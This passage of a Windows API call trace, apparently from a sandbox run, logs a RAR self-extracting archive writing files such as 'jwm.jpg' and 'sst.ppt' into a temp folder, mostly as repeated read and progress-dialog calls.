| out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.039] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.039] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.039] GetTickCount () returned 0x1fa16 [0068.039] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.039] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.039] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.039] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.039] GetTickCount () returned 0x1fa16 [0068.039] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.039] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.039] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.039] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.039] GetTickCount () returned 0x1fa16 [0068.039] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.039] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.039] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.039] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.039] GetTickCount () returned 0x1fa16 [0068.039] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.039] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.039] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.039] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.039] GetTickCount () returned 0x1fa16 [0068.039] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.039] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.039] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.039] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.039] GetTickCount () returned 0x1fa16 [0068.039] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.039] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.039] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.039] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.039] GetTickCount () returned 0x1fa16 [0068.039] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.040] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.040] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.040] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.040] GetTickCount () returned 0x1fa16 [0068.040] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.040] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.040] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.040] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.040] GetTickCount () returned 0x1fa16 [0068.040] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.040] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.040] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.040] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.040] GetTickCount () returned 0x1fa16 [0068.040] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.040] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.040] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.040] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.040] GetTickCount () returned 0x1fa16 [0068.040] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.040] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.040] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.040] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.040] GetTickCount () returned 0x1fa16 [0068.040] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.040] ReadFile (in: hFile=0x1c, lpBuffer=0x270430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270430*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.040] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.040] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.040] GetTickCount () returned 0x1fa16 [0068.040] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.040] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x204, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x204, lpOverlapped=0x0) returned 1 [0068.041] GetTickCount () returned 0x1fa16 [0068.041] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.041] SetFilePointer (in: hFile=0x1c, lDistanceToMove=859864, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd1ed8 [0068.041] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.041] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.041] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.041] CloseHandle (hObject=0x138) returned 1 [0068.042] SetFileAttributesA (lpFileName="jwm.jpg", dwFileAttributes=0x20) returned 1 [0068.042] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd1ed8 [0068.042] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.042] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.042] OemToCharA (in: pSrc="sst.ppt", pDst=0x179cc0 | out: pDst="sst.ppt") returned 1 [0068.042] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="sst.ppt", cchCount2=1) returned 1 [0068.042] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="sst.ppt", cchCount2=6) returned 1 [0068.042] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="sst.ppt", cchCount2=-1) returned 1 [0068.042] SetFilePointer (in: hFile=0x1c, lDistanceToMove=859908, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd1f04 [0068.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="sst.ppt") returned 8 [0068.042] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41a6b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.042] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting sst.ppt") returned 18 [0068.042] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting sst.ppt") returned 1 [0068.042] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.042] OemToCharBuffA (in: lpszSrc="s", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="s") returned 1 [0068.043] CharToOemBuffA (in: lpszSrc="S", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="S") returned 1 [0068.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="sst.ppt") returned 8 [0068.043] FindFirstFileW (in: lpFileName="sst.ppt", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.043] GetLastError () returned 0x2 [0068.043] GetFileAttributesA (lpFileName="sst.ppt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\sst.ppt")) returned 0xffffffff [0068.043] CreateFileA (lpFileName="sst.ppt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\sst.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.043] GetFileType (hFile=0x138) returned 0x1 [0068.043] SetFilePointer (in: hFile=0x138, lDistanceToMove=605, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x25d [0068.043] SetEndOfFile (hFile=0x138) returned 1 [0068.043] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.043] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1eb, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1eb, lpOverlapped=0x0) returned 1 [0068.043] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.043] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.043] GetTickCount () returned 0x1fa16 [0068.043] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.043] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.043] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.043] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.043] GetTickCount () returned 0x1fa16 [0068.043] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.043] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.044] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.044] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.044] GetTickCount () returned 0x1fa16 [0068.044] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.044] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.044] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.044] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.044] GetTickCount () returned 0x1fa16 [0068.044] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.044] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.044] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.044] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.044] GetTickCount () returned 0x1fa16 [0068.044] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.044] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.044] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.044] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.044] GetTickCount () returned 0x1fa16 [0068.044] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.044] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.044] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.044] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.044] GetTickCount () returned 0x1fa16 [0068.044] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.044] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.044] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.044] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.044] GetTickCount () returned 0x1fa16 [0068.044] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.044] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.044] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.044] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.044] GetTickCount () returned 0x1fa16 [0068.044] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.044] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.044] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.044] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.044] GetTickCount () returned 0x1fa16 [0068.044] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.044] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.044] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.044] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.044] GetTickCount () returned 0x1fa16 [0068.044] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.044] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.044] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.044] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.044] GetTickCount () returned 0x1fa16 [0068.044] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.044] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.045] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.045] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.045] GetTickCount () returned 0x1fa16 [0068.045] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.045] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.045] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.045] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.045] GetTickCount () returned 0x1fa16 [0068.045] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.045] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.045] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.045] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.045] GetTickCount () returned 0x1fa16 [0068.045] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.045] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.045] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.045] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.045] GetTickCount () returned 0x1fa16 [0068.045] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.045] ReadFile (in: 